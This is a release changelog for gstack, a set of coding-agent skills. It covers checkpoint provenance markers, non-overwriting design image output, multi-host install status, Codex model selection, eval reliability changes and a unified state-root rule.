This wave rebuilds three community PRs from @mvanhorn on current main. A checkpoint's Remaining Work used to read the same whether a step had been run or only inferred, so a resumed session could act on a guess and hit the wrong system (#3004, reported by @tomg65). Running `$D variants` twice into one folder replaced `variant-A.png`, `$D generate --retry` kept only the last image, and skills built boards from fixed `variant-A/B/C` names, so you could pay for images you never saw (#1529, reported by @SakenW).

### What changes for you

- **Remaining Work carries provenance.** Every item starts with `Open.` and ends with how the saving session knows it: `(path run)` with the outcome, `(path read)` or `(path assumed)` for commands, flags, config values and files; `(target state checked)`, `(code read)` or `(path assumed)` for writes. For example:

      1. Open. Run the migration check with SWITCH_B=1 against staging. (path assumed)
      2. Open. Run bun test test/billing.test.ts. (path run) exit 0

  `/context-restore` keeps the saved order but shows item 2 under **Next steps** and item 1 under **Verify first**, and "continue" starts by verifying item 1 read-only instead of jumping to item 2. Checkpoints saved before this release have no markers, so their command, path and write items land under Verify first, with a one-line banner saying so.
- **Nothing paid is lost.** A taken image name gets `-2`, `-3` and so on (`variant-A-2.png`); stderr says `note: <requested> exists; saved to <actual> (existing file kept)` and the JSON reports the real path. Every `--retry` attempt is its own saved image. If saving fails after the API returned the image, the bytes go to a private recovery copy in your temp directory and the message says where; a local write failure never buys a second image.
- **Every image command prints JSON, even on failure**: `requested`, `saved`, `selected`, `failures`, `recovered`. Exit 0 means the result is ready, 2 means nothing was saved, 3 means the run stopped after saving some images.
- **Boards show this round only.** Skills tell you how many of the requested images were saved, write the round's printed paths to `board-images.json`, build the board with `$D compare --images-file`, archive an old `feedback.json` first, and record `approved_path` in `approved.json`, so a later session opens exactly the image you approved. Old letter-only approvals still work. /design-shotgun subagents stage in a fresh temp directory and publish with `gstack-design-claim`, which never overwrites.
- **If you script `$D`,** read paths from the JSON instead of assuming the file name:

      out=$($D generate --brief "pricing page" --output designs/pricing.png); rc=$?
      img=$(printf '%s' "$out" | jq -r .outputPath)
      [ "$rc" -eq 0 ] && $D check --image "$img" --brief "pricing page"

  `variants` prints its list in `.paths`; `compare` takes it losslessly with `--images-file paths.json`.
- **Windows console flashes (#1784)** were confirmed fixed on main (v1.91.15.0) by @kaiwulff on a real Windows 11 desktop; this release ships no code for them.

### Itemized changes

#### Fixed
- `/context-save` Remaining Work did not record whether a step was run, read or assumed, and `/context-restore` offered the first item as the next action (#3004). Marker format from #3019 by @mvanhorn, field-tested by @tomg65.
- Design images were silently overwritten by later rounds and `--retry` attempts (#1529). Exclusive-create claim idea from #1737 by @mvanhorn.
- Comparison boards and quality checks read fixed `variant-A/B/C` names or a `variant-*.png` glob and mixed rounds; a stale `feedback.json` could approve a new round.
- `$D` wrote iterate session files to `/tmp`, which does not exist on Windows, so `generate` could not record its session and `iterate` could not find it there; sessions now live in the OS temp directory.
- /setup-deploy reported a failing status command as success (the pipe hid its exit code), matched `cd` anywhere in a workflow as a deploy workflow, and left the merge-method check, Fly `/health` detection and GitHub-Actions-only status command unspecified.

#### Added
- `$D compare --images-file` and JSON-array `--images`, `bin/gstack-design-claim`, `bin/gstack-design-approved`, and `approved_path` in approval records.
- Periodic behavior eval `context-restore-provenance-order` (3-trial panel) and free contract tests for the provenance markers, `$D` persistence and the design-skill path rules.

## [1.91.16.0] - 2026-10-03

**Installing or upgrading gstack never quietly changes another copy, and `./setup --status` shows every install.**
**Skills start in worktree-isolated Claude Code sessions, and a review that didn't run says so.**

This release makes three promises hold and backs each with tests. Upgrades used to refresh only Claude Code, so Codex and OpenCode installs drifted for months, and a failed refresh could leave `~/.codex/skills/gstack` empty. Claude Code sessions isolated to a worktree refused every skill's start command. /cso said "No supported findings" when it had assessed nothing, and Codex calls ignored the model you configured.

### What changes for you

- **See every install.** `./setup --status` prints one row per install: host, tier, scope, source, version. Setup and `/gstack-upgrade` end with the same rows and say which host failed and how to retry. Nothing is written by `--status`.
- **Upgrades refresh every registered host**, each in its own process. A failed host keeps its previous working install. `--host codex` no longer touches Claude's hooks, and a second checkout no longer silently repoints the global Claude link (use `--global` on purpose).
- **Setup rejects unknown options** before writing anything and suggests the right one. Bare `./setup` installs for Claude Code; use `--host auto` to detect every agent.
- **Host tiers.** Every host declares a support tier: Claude is `full`; Codex, Kiro, Factory, OpenCode, Cursor and the new GitHub Copilot CLI host are `experimental`; Slate, OpenClaw, Hermes and GBrain are `instruction-only`. On hosts without hooks, /careful, /freeze and /guard say "advisory, not blocked".
- **GitHub Copilot CLI:** `./setup --host copilot` installs to `~/.copilot/skills` (experimental).
- **Turn off skills you don't use:** `gstack-config set disabled_skills make-pdf,pair-agent`. Typos get the closest name, `""` re-enables everything, and the setting survives upgrades.
- **Worktree-isolated sessions start skills.** The start command is one literal line, context recovery moved into `gstack-context-recovery`, and skill blocks no longer `eval` gstack helpers. Installs in renamed folders, project-vendored copies, `CLAUDE_CONFIG_DIR` and `CODEX_HOME` get their own rendered skills that point at the right root; paths with spaces get a space-free alias.
- **Codex uses your model.** Order: a model named for the request, `GSTACK_CODEX_MODEL`, your Codex `config.toml` (`review_model` first for native review), then `gpt-6-astra`. gstack prints `CODEX_MODEL: … (source: …)` before any paid call and stops with a repair message when the choice is invalid. Outside voices state their own timeout (at most 10 minutes) and are no longer cut off at 2 or 5 minutes.
- **/cso tells the truth.** A report where nothing was assessed reads "not assessed" with what ran, what's missing, why and the next step. On Windows and macOS a lease whose process ID now belongs to an unrelated process is reclaimed; one unreadable lease left by an older gstack no longer blocks `start`.
- **make-pdf `--toc`** prints real page numbers and its links survive empty headings and reused ids. If the numbers can't be verified, it exits 3 instead of printing empty cells.
- **Design images keep working after OpenAI retires `gpt-image-1` on Oct 23.** The design binary uses `gpt-5.5` with image generation pinned to `gpt-image-2`; `GSTACK_DESIGN_MODEL` overrides it, and `bun run design/scripts/live-model-check.ts` checks a key against the defaults.
- **Upgrade:** run `/gstack-upgrade`, then `./setup --status` to confirm each host, and start a new agent session.

### Itemized changes

#### Fixed
- Upgrades refresh only Claude Code; Codex and OpenCode installs drift (#1925). A project-vendored setup's earlier capture of the machine-wide Codex namespace is reported by `--status` (#2879). `--host codex` exposed changes to Claude (#2347); `~/.Codex` paths (#2338).
- Host refreshes copied over the live install, so a failure emptied it; runtime and skill directories are now staged and swapped, including on Windows. Migrations advance only past those that succeeded.
- Worktree-isolated Claude Code sessions refused every skill's start preamble (#2763). Install dirs not named `gstack` broke skill paths (#1882). Claude Code rewrote `$1`-style tokens in skill bodies (#2896). The plan-mode preamble claimed skill precedence over host restrictions (#2851).
- OpenCode command files and question tool (#2629, #2626); Hermes frontmatter names and question tool (#2825, #2015); /cso on Codex reported its launcher missing (#2906).
- Codex model selection ignored your configuration (#2914). Outside-voice timeouts killed Codex early or exceeded the tool limit (#2776). The probe cached success after the binary or auth changed (#2787). Unguarded `mktemp` handed Codex empty paths (#2881). Nested Codex reviews saw gstack's installed skills (#2847).
- /cso on Windows bricked later runs after a dead or unreadable lease (#2894). /cso reported "No supported findings" for an unassessed scope. The redaction guard flagged `api_key=os.environ[...]` as a secret (#2912).
- Browse on Windows: EEXIST on an existing `.gstack` (#2048); the terminal agent died with the CLI console (#2637). Windows pre-push guard path regression test (#2805).
- make-pdf TOC page numbers were empty and anchors shifted (#2903). Design commands hardcoded `gpt-4o` and sent `max_tokens` (#2807).
- Free tests wrote to the developer's real `~/.gstack` (#2895), left browse daemons running (#2816), called a real `gbrain` on PATH (#2829), and failed on macOS's symlinked temp root (#2841, #2982, #2911, #2909, #2908, #2910).

#### Added
- `./setup --status`, the install registry (`$GSTACK_STATE_ROOT/installs.tsv`), host tiers and capabilities, and a host conformance test that runs real setup for every installable host.
- GitHub Copilot CLI host (#393), selectively ported from #2323 by @andrey-esipov with earlier work by @ridermw and @lolisaigao1234.
- `disabled_skills` config (#1206).
- OpenSSF Scorecard workflow (#1997) and a macOS named-regressions CI job.

#### Changed
- Every GitHub Action is pinned to a commit SHA, enforced by a test (#1948). The CI image installs Bun from a SHA-256-verified archive (#1706) and carries a pinned Codex CLI that only Codex eval cases can reach.
- CLAUDE.md is under Claude Code's 40,000-character warning (#2096).

## [1.91.15.0] - 2026-10-03

**Skills read cleanly on Opus 5.5: stale facts fixed, shouting turned down, and the tests that locked the shouting in now check behavior.**
**gbrain ingests coding-agent transcripts only after you say yes.**

We ran Anthropic's `/claude-api prompt-audit` (target `claude-opus-5-5`) over every skill template, resolver, model overlay, CLAUDE.md and the code that builds model requests. Then we swept the tests that pin skill wording. gstack had almost none of the old "think step by step" scaffolding. What it did have was instructions that pointed at the wrong file or command, CRITICAL/MUST stacks that current models over-apply, arithmetic the model was asked to compute, and issue numbers it can't use. Those are fixed or rewritten at normal volume, with every real rule and its reason kept. A safety rule only changed wording where an eval shows the model still obeys it.

### What changes for you

- **Transcripts need your consent.** `/sync-gbrain` and the gbrain sync skip Claude Code and Codex session transcripts until `transcript_ingest_mode` is `recent` (last 90 days) or `all`. If you never chose, the sync prints one line saying how. Other memory keeps syncing. Choose with `/sync-gbrain` or `gstack-config set transcript_ingest_mode recent|all|off`. Older stored answers (letters, `incremental`) get asked again. Staged transcript pages wait on disk until you consent.
- **`proactive=false` means no suggestions at all**, including "want me to run /X?". `gstack-config set proactive true` restores them.
- **Model overlays:** Opus 5.5, Sonnet 5.5 and other point releases use the generic Claude overlay. The Opus 4.7, Opus 4.8 and Sonnet 5 overlays apply only to those exact models (bare ID, dated snapshot or `-latest`). `--model <family>` forces one.
- **open-gstack-browser asks before replacing a live browser** instead of killing it, and leaves it running when nobody can answer.
- **setup-gbrain no longer writes its own CLAUDE.md search block**; `/sync-gbrain` is the one writer.
- **Upgrade:** run `/gstack-upgrade`, then start a new session.

### Itemized changes

#### Fixed
- Skill instructions that contradicted the code. Examples: the router's empty telemetry session ID; the design board flow that waited on a command that now exits; an unexpanded `$_DESIGN_DIR` in the reload call; wrong Pretext API signatures in /design-html; a /make-pdf flag that doesn't exist; /land-and-deploy falling back to bare `bun test` and reading only the legacy eval store; stale /ship step numbers; hardcoded `main`/`origin/main`; "Mac only" claims the installer contradicts; tab-state fields the terminal agent misnamed; spec flags that aren't flags; autoplan skipping renamed sections.
- The shared test bootstrap undoes only the changes it made, instead of a blanket `git checkout`.
- Skills that read or wrote a literal `~/.gstack` path now use your configured state root (`GSTACK_STATE_ROOT` / `GSTACK_HOME`): canary and health history, plan-tune gates and proposals, retro reads, ship ledgers, the telemetry sink and gbrain context queries. Custom state directories no longer miss data.
- The browse untrusted-content warning names both marker formats the binary prints.
- The "never ingest transcripts" choice is enforced in code, not just described.
- /plan-tune describes the never-ask hook accurately.
- Seven conflicts between instruction files are settled:
  - `PROACTIVE=false` means no suggestions, not even an offer.
  - /sync-gbrain alone writes the CLAUDE.md search block.
  - /ship uses the checklist's critical categories.
  - /plan-design-review runs Step 0 before mockups.
  - DX triage keeps every pass and reports blockers only.
  - When a DESIGN.md exists, it decides what /design-shotgun varies.
  - ETHOS.md describes how its principles actually reach skills.

#### Changed
- **Normal-volume instructions.** CRITICAL / IRON LAW / MUST stacks, thoroughness boosters, fixed progress cadences and model-computed point scores are rewritten as plain rules and stop conditions. Incident and issue numbers move out of runtime prose. The /document-release CHANGELOG-preservation and VERSION-ask rules changed wording only after the document-release eval passed on both the old and new text. Rules without such an eval keep their wording (listed in TODOS.md).
- **Tests check behavior, not sentences.** Prose-pinning test files keep step order, routing tables, safety lines (matched on meaning) and the markers software reads, and drop exact-sentence pins. Each conversion was checked by a scripted mutation pass: reordering a step, deleting a marker or deleting a safety line turns the test red, while rewording dropped prose leaves it green.
- **Evals measure the skill instead of coaching it.** The document-release eval no longer tells the agent the answer. The routing evals use the routing text gstack ships. The graders check outcomes rather than exact phrases or emoji. The dedicated-tools overlay case passes on correct output plus at least 20% fewer Bash calls (contract v3).
- Six paid cases that only had a model summarize SKILL.md are retired, along with duplicate checks. office-hours-auto-mode joins the fast PR profile.
- New `test/instruction-facts.test.ts` keeps CLAUDE.md facts, /ship step references and state-root paths in step with the code. A config-key tripwire fails when a config key has no reader.
- CLAUDE.md defines when prompt bytes are a test contract in this repo: when software reads them, or when a recorded eval shows the wording matters.

## [1.91.13.0] - 2026-10-02

**/autoplan runs again for anyone with a SessionStart hook, and /land-and-deploy never merges over red CI.**
**Projects in nested Git groups stop sharing saved state.**

This release fixes the most severe open bugs from a triage of the tracker. /autoplan's phase guard denied every phase when Claude Code's session journal opened with SessionStart hook output, which is the normal shape once any plugin installs a hook, and on Windows it also rejected forward-slash and `/c/` paths. /land-and-deploy treated "no required checks" as "nothing to wait for", so on any repo without branch protection (every private repo on GitHub Free) it could merge while CI was red or still running. Repos under `group/subgroup/repo` remotes collapsed into one `~/.gstack/projects/` bucket, so /context-restore could offer another project's checkpoint.

### What changes for you

- **/autoplan:** works in sessions with SessionStart hooks, after `/compact`, `/clear` and a forked resume, and on Windows. When it does block, the message names the reason and how to run the reviews by hand (`docs/autoplan-guard-troubleshooting.md`). If a future Claude Code journal shape is unrecognized but healthy, /autoplan warns "phase publication was NOT verified for this session" and continues instead of locking you out.
- **/land-and-deploy is stricter.** It now waits for all checks on the exact commit it merges, not only required ones, and that includes `gh pr merge --auto`. A red or pending optional check, or a commit with no CI at all, needs your explicit approval for that commit. The verdict comes from `bin/gstack-ci-gate` (`--help` documents it).
- **Nested-group remotes** (GitLab subgroups, Azure DevOps, Bitbucket Server) now get their own `projects/<repo>-<hash>/` bucket. GitHub buckets do not move. The old shared bucket is left in place; `gstack-slug --adopt-legacy` lists it and copies only the files you confirm. /context-restore only treats this project's checkpoints as latest.
- **never-ask preferences now fire** (#2901). Questions you tuned to never-ask through /plan-tune will start auto-deciding. One-way questions, including the new land-and-deploy CI approvals, never auto-decide.
- **Upgrade:** run `/gstack-upgrade`, then start a new Claude Code session.

### Itemized changes

#### Fixed
- /autoplan publication guard accepts real Claude Code journals: SessionStart attachment chains, a forked session that starts at a compact boundary, and Windows path spellings, with typed reason codes and per-reason messages (#3007, #3009, #2968, #2977, #2986, #3006). Built on #3010 by @CharlesBerg85, with root rules from #3008 by @laurenbdaniels-coder, #2969 by @maydaycyber and #2960 by @elmesery-dev.
- /land-and-deploy no longer merges over red, pending or missing CI when a repo declares no required checks (#2995). Logic from #3001 by @harshitgavita-07, moved into a tested helper.
- Nested-group remotes no longer share a state bucket, and checkpoints carry a credential-free project identity that /context-restore checks (#3003, reported by @tomg65). All six slug resolvers share one canonical-remote rule; the sticky cache is versioned so cache hits stay git-free.
- The AskUserQuestion preference hook reads the same project identity as the writer, so never-ask preferences apply; unknown identity asks instead of auto-deciding (#2901). Idea first proposed in #2332 by @jawadakram20.
- Brain context loaded 0 bytes in every skill because it called `gbrain list_pages`, an MCP tool name; it now uses `gbrain list` and reports failed queries (#2883). Includes #3000 by @TheAngryPit.
- /sync-gbrain's code stage failed on managed gbrain (>= 0.51); it now passes `--no-pull` and never retries without it (#2985).
- /sync-gbrain no longer re-creates duplicate curated pages; `--sources` selects memory types (#2922). Based on #2997 by @harshitgavita-07.
- A clean Codex review could never pass the /codex gate. Untagged output is now UNVERIFIED instead of FAIL, and P2/P3-only output passes (#2769).
- `/cso import-sarif` dropped every semgrep and trivy result that used `uriBaseId`; captured scanner shapes now import, and rejected results are counted with the rule and path (#3011).
- The pre-push redact hook flagged the repo's own 4-part VERSION as a public IP on every /ship (#2856).
- `gstack-update-check` cached "up to date" when it could not read the remote version; it now caches a short-lived CHECK_FAILED (#2786).

#### Added
- `SECURITY.md` with a private vulnerability reporting path (#2984).
- Periodic drift canary that reads fresh journals from the pinned `claude` and fails if the guard stops recognizing them.

#### Changed
- `pr-title-sync.yml`, which runs with a write token on `pull_request_target`, pins `actions/checkout` to a reviewed SHA.

## [1.91.12.0] - 2026-10-01

**Weekly evals finish in minutes, not hours, and a red now means something.**
**Two real crash bugs fixed, and product code typechecks clean in CI.**

The weekly paid eval run took 2 hours 45 minutes on Sept 28, almost all of it one timed-out test retried. It now runs every test on its own machine within a 9-minute budget, and a single long case runs one case per process. Automatic retries are gone. Tests that grade a live model's choice run three trials at once and pass on two; promises users rely on (asks before deciding, leaves git alone, no writes in plan mode) fail on any single bad trial. `$B connect --supervise` finally restarts a crashed browser, compiled `/cso` installs can witness runtime-tested assertions again, and a required `typecheck` job keeps that class of bug out.

### The numbers that matter

Source: the Sept 28 weekly census (run 36385945043) and the final proof census on this branch (run 36633323521). `bun run scripts/test-paid-shards.ts --tier periodic --slice-budget 540 --jobs 2 --list` prints the current plan.

| Measure | Before | After |
| --- | ---: | ---: |
| Weekly periodic census wall clock | 2h 45m | 11m 42s (gate census alongside: 10m 22s) |
| Longest planned slice | 160 min (one test, twice) | ~10 min |
| Automatic retries on paid evals | up to 2 per file | 0 |
| Product-code type errors | 103 on v1.91.8.0 (no check) | 0, required in `free-tests` |
| `lib/cso` longest source line | 2,159 chars | 785 (a string literal) |

The biggest change is honesty. With about 240 live cases, a retry used to hide a failing test; now every trial is recorded, `bun run eval:pass-rates` shows each case's pass rate with a confidence range, and a case that slides gets flagged by its history instead of passing on a lucky rerun.

### Fewer rotating reds

Across 11 lanes the PR eval lane failed 6-8 of its 125 records per run, a different handful each time. A census of 1,827 attempts traced most of it to two sources, and this release attacks both instead of retrying:

- **Runs that ran out of time.** Passing runs used 80-92% of their budgets, and the ones that timed out took 20-50% more steps, not slower steps. The heaviest cases now start at the gate they test, from recorded setup and recorded subagent results (docsync faults, shared-libs review, QA callers, Review Army), and land at roughly 35-60% of unchanged budgets.
- **Bookkeeping the model forgot.** `gstack-qa-evidence` now enforces the checkpoint before every next probe, fills revision/runtime/cwd/learning itself, rejects placeholders, replay-only learning, missing evidence rows and evidence observed on an older input snapshot, prints report links, timing and any declared-but-unrun probes, and answers `--help`. `/deslop-shared-libs` runs every git read through `bin/gstack-safe-git`, which always applies the safety flags.

### What this means for contributors

Run `bun run typecheck` and `bun run typecheck:test` before you push; both are free and take seconds. A red paid run now prints a headline and one line per failure with its cause and a rerun command. New paid evals need a kind in `E2E_KINDS`: see "Add a paid eval" in CONTRIBUTING.md.

### Itemized changes

#### Fixed
- `$B connect --supervise` respawned with a block-scoped env that no longer existed, so every restart threw and the supervisor gave up after five tries. The headed env is one helper used by connect and respawn, and the loop has behavioral tests.
- Compiled `/cso` installs called an unimported `join` when launching the assertion-witness child, breaking runtime-tested witnessing for every installed user.
- Browser-only `/qa` runs had no stated way to build the evidence file, whose rows only accept functional captures; the shared rule now says to materialize an empty evidence list with the checkpoints named in limits, matching `/qa-only`. The fix loop had spent its last minute on it and timed out.
- `/office-hours` asks its goal question unless the user already chose a mode, then reads that mode's section before its first question; skipping both produced forcing questions with an empty recommendation. `/design-consultation` asks the memorable-thing question on its own after Q1 instead of packing it into Q1's call.
- Free-form eval judges (docs, outcome, posture) could return JSON broken by an unescaped quote in their reasoning; they now use structured output.
- `/qa` checkpoint receipts now print the report link for their `exploration-NNN.json` file; reports had been linking `.qa-evidence/NNN` capture folders as checkpoints instead.
- `/review` Review Army passes checklists to specialists by path and runs web research alongside dispatch (a 12-line N+1 review went from 300 s to 212 s), and the design-lite pass always runs its detector probe; reviews had reported the detector absent without probing in 5 of 6 captured trials.
- `/design-consultation` opens with one decision (confirm the context and choose research), not a confirm-only question; `/document-release` defines its /ship-owned inputs, exact steps and JSON result.
- `/review` workflow ambiguities (smoke clock vs required revalidation, setup authority, plan-completion gate, findings record), `/office-hours` builder mode not loading its brainstorm section, `/sync-gbrain` Step 4 helper arguments and write path, `/plan-ceo-review` expansion framing and pacing menus, `/plan-design-review` with no designer API key, and `/deslop-shared-libs` one-file-per-turn reads.
- Eval detectors that graded wording or step order now grade outcomes: eng batching, CEO split-overflow, mode routing, section-loading stale-fill, outside-voice-disabled attribution, design focus menus, and PTY permission dialogs with cropped titles.
- Harness races and adapter gaps found by the proof runs: plan seeding accepted a stale empty input box when the CLI repainted after recording its reply, the third-party-actions recorder fixture lost every failure record, the autoplan dual-voice check could not read framed subagent reports from newer Claude Code, and the HOLD SCOPE routing check judged the skill's own defer/keep menu as its rigor decision, the outside-disabled check missed a correctly attributed quote of the pre-existing review record, and the plan-review judge was not told its reason length bound on the field it writes.

#### Changed
- Paid evals: one test file or case per machine within a 540-second slice budget, planned from recorded per-tier and per-case durations; case sharding for plan, design, review-army, shared-libs, shared-libs-paths, ship-docsync and qa-callers.
- Verdict policy: no retries; `rule` cases fail on any failed trial, `behavior` cases pass on 2 of 3 parallel trials with contract assertions still strict, `judge` entries average 3 samples against unchanged thresholds. One panel-verdict function feeds the report, PR comment, weekly issue and pass-rate history. A census whose every red is infrastructure is re-dispatched once, and both runs are reported.
- New non-blocking weekly `evals-marathon.yml` lane for full start-to-finish flows: the full `/office-hours` workflow (a focused design-draft case replaces it in the weekly lane) and the full `/plan-ceo-review` split-overflow run, which took 8 to 20 minutes on its own.
- The CI image pins Claude Code 2.1.284, the first version that recognizes the eval model `claude-fable-5-1` and runs it with the same profile users get. Both versions send effort "high"; a census that looked slower on 2.1.284 was mostly slower API responses (its SDK-only judges, which never start the CLI, were 25% slower too), and nine previously slow cases pass on 2.1.284 within unchanged budgets.
- `lib/cso/*.ts` is formatted with pinned Prettier; minified transpile output is byte-identical except three canonicalized regex flag orders.
- The duplicate dispatch-only `ship-docsync` case is removed; `ship-docsync-completion` asserts the same on the same fixture.

#### Added
- `tsconfig.json`, `bun run typecheck` (strict, zero product errors) and `bun run typecheck:test` (test-code diagnostic ratchet), both in the required `free-tests` check, plus `format:cso:check`.
- `E2E_KINDS`, `BEHAVIOR_WHY`, `EVAL_POLICY` and a data-driven `CASE_QUARANTINE` (entry below 95% per trial over 10 trials, exit at 97%, 10% cap, 8-week expiry, never for product defects), and `CASE_CI_EXCLUDE` for CI-unrunnable cases.
- `bun run eval:pass-rates` with Wilson intervals, per-input-identity series and a weekly drift gate; `--case <id> --trials N` for local diagnosis.

#### For contributors
- Open PRs touching `lib/cso` should run `bun run format:cso` before rebasing.
- Builds on the typecheck work in #2447, contributed by @laddtnov.
- Coordinated with #2994 (v1.91.8.0), which retired the never-green finding-count evals this wave had been repairing.

## [1.91.11.0] - 2026-09-30

gstack now looks up its state folder one way everywhere, and the five most copy-pasted or oversized parts of the codebase each have a single owner. Before, about 50 scripts, hooks and libraries each resolved the state folder with their own rule, and the rules disagreed. If you set `GSTACK_HOME`, `GSTACK_STATE_DIR` or `GSTACK_STATE_ROOT`, telemetry, analytics, update-check snoozes, the egress ledger and hook logs now all land in the folder you chose. Nothing is moved for you. Run `~/.claude/skills/gstack/bin/gstack-paths --explain` to see the active folder and whether `~/.gstack` still holds older state; [docs/state-root.md](docs/state-root.md) has the move recipe.

| Hotspot | Before | After |
| --- | ---: | ---: |
| Code files with a hand-rolled `${GSTACK_*:-…}` chain | 48 | 2 (the bash owner and one allowlisted partial-upgrade fallback) |
| `browse/src/server.ts` lines (`buildFetchHandler` alone) | 3,464 (1,560) | 2,224 (~350) |
| `test/helpers/claude-pty-runner.ts` lines | 5,047 | 30 (barrel over `test/helpers/pty/*`) |
| `scripts/resolvers/review.ts` lines | 1,921 | removed (5 modules, largest 771) |
| Shard spawn/kill/sandbox implementations | 2 | 1 (`scripts/lib/shard-engine.ts`) |

### Changed

- **One state-root rule.** Every script, hook and skill resolves state as `GSTACK_STATE_ROOT` → `GSTACK_HOME` → `GSTACK_STATE_DIR` → `CLAUDE_PLUGIN_DATA` (only for the gstack plugin) → `~/.gstack`. Skill bash blocks stop with a reinstall message if the resolver is missing, instead of writing under `/`.
- **Privacy opt-outs never get looser.** `telemetry`, `memorable_recall`, `codex_reviews`, `update_check` and trust-policy denies take the most restrictive value across the active folder and `~/.gstack`. `gstack-config set` says when another folder still overrides you and prints the command that fixes it, and `gstack-config list` shows which folder each merged key came from.
- **Uninstall deletes state only at `~/.gstack`.** `gstack-uninstall` refuses (exit 2) when that path resolves to `/`, your home, the gstack checkout or the current repository. For a relocated folder it leaves the folder in place and prints the exact removal command.
- **Outside-voice fallbacks read the same in every skill.** `/plan-devex-review` now also treats an "API key" error as an authentication failure, `/office-hours` names its fallback subagent like the other skills, and the `/review` and `/ship` adversarial pass says "timed out after 9 minutes" (a timed-out pass is still missing coverage).
- `/review` and `/ship` exploratory QA now say how required plan checks behave once the 5-minute smoke clock expires: they and their revalidation keep running on a per-command `--timeout-ms` and still publish checkpoints, while a smoke recheck after expiry is reported not-run. In `/review`, skipping a finding that carries a proposed test skips both the test and the fix, and the defect stays unresolved.
- After a revert of this release, state written to a non-default folder while it was live stays in that folder.

### Fixed

- A pair-agent setup key that had not been exchanged yet was accepted as a bearer token on the browse daemon's `/command`, `/batch` and `/file`. A setup key now authenticates only the `/connect` exchange.

### For contributors

- **State root:** `lib/state-root.ts` (`resolveStateRoot`, `readConfigKey`) and its bash twin `bin/gstack-state-root.sh` (builtins only) own the chain. A parity table runs every row through both with `PATH` empty, Windows rows included. `test/state-root-ratchet.test.ts` rejects new hand-rolled chains, and `test-setup.ts` strips inherited `GSTACK_STATE_ROOT` / `GSTACK_STATE_DIR` so ambient variables cannot leak into tests. `hosts/claude/hooks/hook-log.ts` is the five hooks' one error-log writer (0600).
- **Browse routes:** the daemon's HTTP routes are one declared table (`browse/src/routes/table.ts`: method, path, auth kind, listener surface), with one auth gate, one denial per auth kind, and handlers in `browse/src/routes/*.ts`. A black-box matrix over every route, both listeners and five credential types passed on the old server and passes unchanged on the new one. The route tests now send real requests instead of grepping `server.ts`, and `browse/test/server-route-dispatch-ratchet.test.ts` keeps dispatch inside the table.
- **Shard engine:** `scripts/test-strict-output.ts` grew into `scripts/lib/shard-engine.ts` (process-group spawn, wall timeout and group kill, strict Bun verdicts, per-shard tmp and Chromium sandbox, logs, duration seeds, flag loop), and both runners use it. Lane policy stays per lane. A seven-outcome fixture corpus recorded from the old runners pins identical verdicts, and paid `--list` output is byte-identical. A timed-out free shard now stops reading at its deadline, as the paid lane already did.
- **PTY harness:** `test/helpers/claude-pty-runner.ts` is a barrel over `test/helpers/pty/*` (screen, launch, classify, auq, plan-native, boundaries, judge). One `runPtySession` loop drives the observation, counting and floor runners. A scripted fake PTY driver (`pty/fake-session.ts`) with an injectable clock runs each runner deterministically, and the unit test is split along the same modules. Tests keep importing the barrel.
- **Review resolvers:** `scripts/resolvers/review.ts` is split into `review-dashboard.ts`, `plan-gates.ts`, `spec-review.ts`, `outside-voice-steps.ts` and `review-scope.ts`. Generated output is byte-identical except the fallback wording above, which now comes from `outsideVoiceFailurePolicy()` in `outside-voice.ts`; `test/outside-voice-failure-policy.test.ts` rejects hand-written copies.
- **Ratchets:** `test/module-size-ratchet.test.ts` keeps the new owner modules at or under 800 lines and 150 lines per function, and stops the residual files (`server.ts`, both runners) from growing. `test/touchfiles.test.ts` checks that every moved module still selects the paid evals its source file selected (goldens in `test/fixtures/touchfile-moved-code/`, recorded before the move).
- **Budgets:** the guarded `gstack-paths` line in always-loaded preambles moved a few budgets to their measured values, each with its derivation recorded: carve-guards for ship (1.397 → 1.404), plan-ceo-review skeleton (80,150 → 80,850 bytes), plan-eng-review (1.169 → 1.174), design-consultation (1.08 → 1.085) and qa (1.095 → 1.102), and the `unfreeze` eager ceiling (393 → 448 tokens).
- **Webhook fix eval:** `qa-functional-webhook-fix` no longer asks the model to rerun all eight webhook scenarios after its repair; the harness already reruns all eight on the repaired source, and the report-only webhook eval still requires eight-scenario coverage. The fix eval now asks for the same post-repair probes as the CLI fix eval, which brings a passing run from about 244s to 133-214s of its 285s budget (3/3 local passes).
- **Deferred:** `TODOS.md` "P3: next refactor wave" lists the hotspots this wave did not touch and the behavior bugs it found and left alone.

## [1.91.9.0] - 2026-09-29

Every gstack workflow that proposes, writes, reviews or ships tests now applies one test value bar: a test earns its place by protecting behavior a real regression would break, and test count is not a goal. `/ship`'s coverage gate counts only tests that clear that bar, and the new `/test-audit` sweeps existing tests for ones that cost more than they protect.

`/ship`'s coverage number can drop for unchanged code, because a path covered only by a smoke test (★) no longer counts. The gate shows both numbers, for example:

```
Before: Coverage gate: 81%
After:  Coverage: 58% value-weighted (81% including 4 weakly covered paths)
```

No action required; the gate still only asks.

### Added

- `/test-audit [path ...] [--since <ref>] [--max-candidates N]` finds low-value, implementation-coupled and duplicate tests and the test-only exports they keep alive. A mechanical pre-filter runs before any model reading, every candidate carries a complete retirement card (what it detects, non-test callers with the search command, stronger remaining proof, history, what retiring it unlocks, validation), and SKILL.md goldens and other contract tests are retained. The report and a JSON sidecar land in `~/.gstack/projects/<slug>/`. Nothing is edited unless you approve a batch; spawned and headless sessions stay report-only.
- `docs/test-value-bar.md` explains the authoring gate, value and retirement cards, weak paths, the value-weighted (X) and any-test (Y) coverage numbers, base control, the overrides and every degraded-mode message.
- Optional CLAUDE.md `## Test Coverage` keys: `Generation cap:` (default 5), `Base control:` (`auto` or `off`), `Base control budget:` (seconds, default 90) and `Star rating:` (`auto` or `off`). A `gstack:test-value keep reason="..."` comment makes `/review` and `/test-audit` skip a deliberate test and report the reason.

### Changed

- `/ship` Step 7 extends existing tests before writing new ones and writes at most 5 tests per generation pass (was 20). Each generated test carries a value card header. The parent rejects and removes tests with an incomplete card, a duplicate `protects` or a seam with no non-test caller, and a separate read-only pass rates the tests written in the run. The gate reads the value-weighted `coverage_pct_value`, falls back to `coverage_pct` with an upgrade note when an older skill omits it, and never substitutes 0. In spawned sessions it generates only for true gaps and lists weak paths as proposals.
- `/ship` regression tests must fail at HEAD before the repair and pass at the base branch in a temporary worktree (Node/Bun), within 90 seconds per test and 3 minutes per run. Other ecosystems record "base control unavailable" with a four-command manual check.
- The PR body adds `Test value: K tests written, R rejected by the authoring gate, E existing tests extended, W paths weakly covered`, and Step 20 metrics record `coverage_schema: 2`, `coverage_pct_value`, the weak, extended and rejected counts, and regression-proof counts.
